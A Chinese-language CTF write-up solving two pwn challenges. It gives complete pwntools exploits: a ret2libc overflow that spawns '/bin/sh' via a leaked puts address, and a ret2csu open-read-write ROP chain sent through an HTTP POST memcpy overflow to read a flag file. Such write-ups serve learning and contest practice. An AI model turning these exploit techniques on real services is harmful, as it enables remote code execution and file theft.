题目
链接:https://pan.baidu.com/s/1rQX4lia6soaMQs23fjvshQ?pwd=unfx
提取码:unfx
easypwn
ida看一下,一道有关libc的溢出,而且还不用自己泄露地址,程序就直接给了puts
地址,而且题目直接给了libc
再算出system
和"/bin/sh"
的地址
直接上exp
from pwn import *
binary = "./pwn"
elf = ELF(binary)
libc = ELF("libc.so.6")
ip = '192.168.39.81'
port = 20001
local = 0
if local:
io = process(binary)
else:
io = remote(ip, port)
#context.log_level = "debug"
def debug():
gdb.attach(io)
pause()
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_flags = 0xfbad1800
ret = 0x040101a
pop_rdi = 0x0401273
io.recvuntil("0x")
puts_addr = int(io.recv(12),16)
lg('puts_addr')
base = puts_addr - libc.sym['puts']
sys_addr = base + libc.sym['system']
sh_addr = base + next(libc.search(b'/bin/sh'))
payload = b'a'*0x108 + p64(ret) + p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
sl(payload)
ia()
skyshell
比赛的时候,这个题目零解。我也比较少接触这样的题目,主要是它还有一个web端,看来有个师傅说的没错,有些pwn题浏览器也可以打开[哭笑]。
这里主要还是学习了Leof师傅的博客
https://le0f.github.io/2022/10/11/2022%E8%B5%A3%E8%82%B2%E6%9D%AFpwn1-skyshell%E9%A2%98%E8%A7%A3/#more
我这里主要还是以复现为主
用C++实现的web服务,单纯的C++题目代码已经不好读了,再结合web,就是难上加难了。
赛方是给了提示的
查找write命令网络响应内容的关键字,定位到该位置进行分析
启动start,
要不是给了提示,我都会不知道可以看web端,
通过对shell.js的分析,发现这个flag是假的
当去运行 ./pwn ,随便输入数据,返回的全是错误页面的信息
前段大部分命令都是前段控制输出的,所以,我们要找到前端是怎么和后端进行交互的
阅读这里的代码,知道了write命令是对后端进行了get和post请求
分析二进制文件,这里是返回的错误页面信息的代码
这个函数就是解析http报文的
也就是说只有返回值不为1,才不会输出错误信息,函数里面就有正确的输入格式。更简单的方法,通过抓包能直接拿到http的报文,得到正确的输入格式。也就是说前端会返回正确的http格式,如果我们拿到这个格式,我们就可以直接在二进制下面操作了
write用get传参,msg使用post传参,可以看到后端是有数据显示的
可以试着把没有用的数据删掉,发包,会得到具有回显的精炼的格式
得到精炼的http包,也就是我们的输入格式
POST /?request=write HTTP/1.1
Content-Length: 12
msg=aaaaaaaa
在二进制文件中定位,write关键字,找到hackme::work::work::handle_post()
函数
v1 应该就是我们post发送数据的长度,v2就是我们post发送的数据了
这里有memcpy()函数
,从v2
拷贝v1
长度的数据到dest
中,dest在栈上的偏移是0x5d0
。v2 v1 可以控制,存在栈溢出。
所以在post请求里发送大于0x5d0
字节的数据试试
连接直接就崩了
后端也崩溃了,说明了溢出是起作用的
利用的方法是ret2csu构造orw
from pwn import *
binary = "./pwn"
elf = ELF(binary)
ip = '127.0.0.1'
port = 8888
local = 1
if local:
io = process(binary)
else:
io = remote(ip, port)
#context.log_level = "debug"
def debug():
gdb.attach(io)
pause()
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_flags = 0xfbad1800
def post(con):
payload = b'POST /?request=write HTTP/1.1\r\n'
payload += b'Content-Length: ' + str(len(con)).encode() + b'\r\n'
payload += b'\r\n'
payload += con
s(payload)
leave_ret = 0x403669
pop_rbp = 0x403590
bss = elf.bss() + 0x500
gadget1 = 0x411260 #call r12
gadget2 = 0x41127A #6 pop ret
def ret2csu(rdi, rsi, rdx, r12):
payload = b''
payload += p64(gadget2) + p64(0) + p64(1) + p64(r12) + p64(rdi) + p64(rsi) + p64(rdx)
payload += p64(gadget1) + b'\x00' * 0x38
return payload
pop_rdi = 0x411283
pop_rsi = 0x409c7a
payload = b'a' * 0x5d8 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(elf.plt['read'])
payload += p64(pop_rbp) + p64(bss) + p64(leave_ret)
#gdb.attach(io, 'b* 0x404767')
#gdb.attach(io, 'b* 0x404739')
post(payload)
orw = b'flag' + p32(0)
orw += p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(elf.plt['open'])
orw += ret2csu(0x30, bss + 0x200, 3, elf.got['read'])
orw += p64(pop_rdi) + p64(1) + p64(elf.plt['write'])
sl(orw)
ia()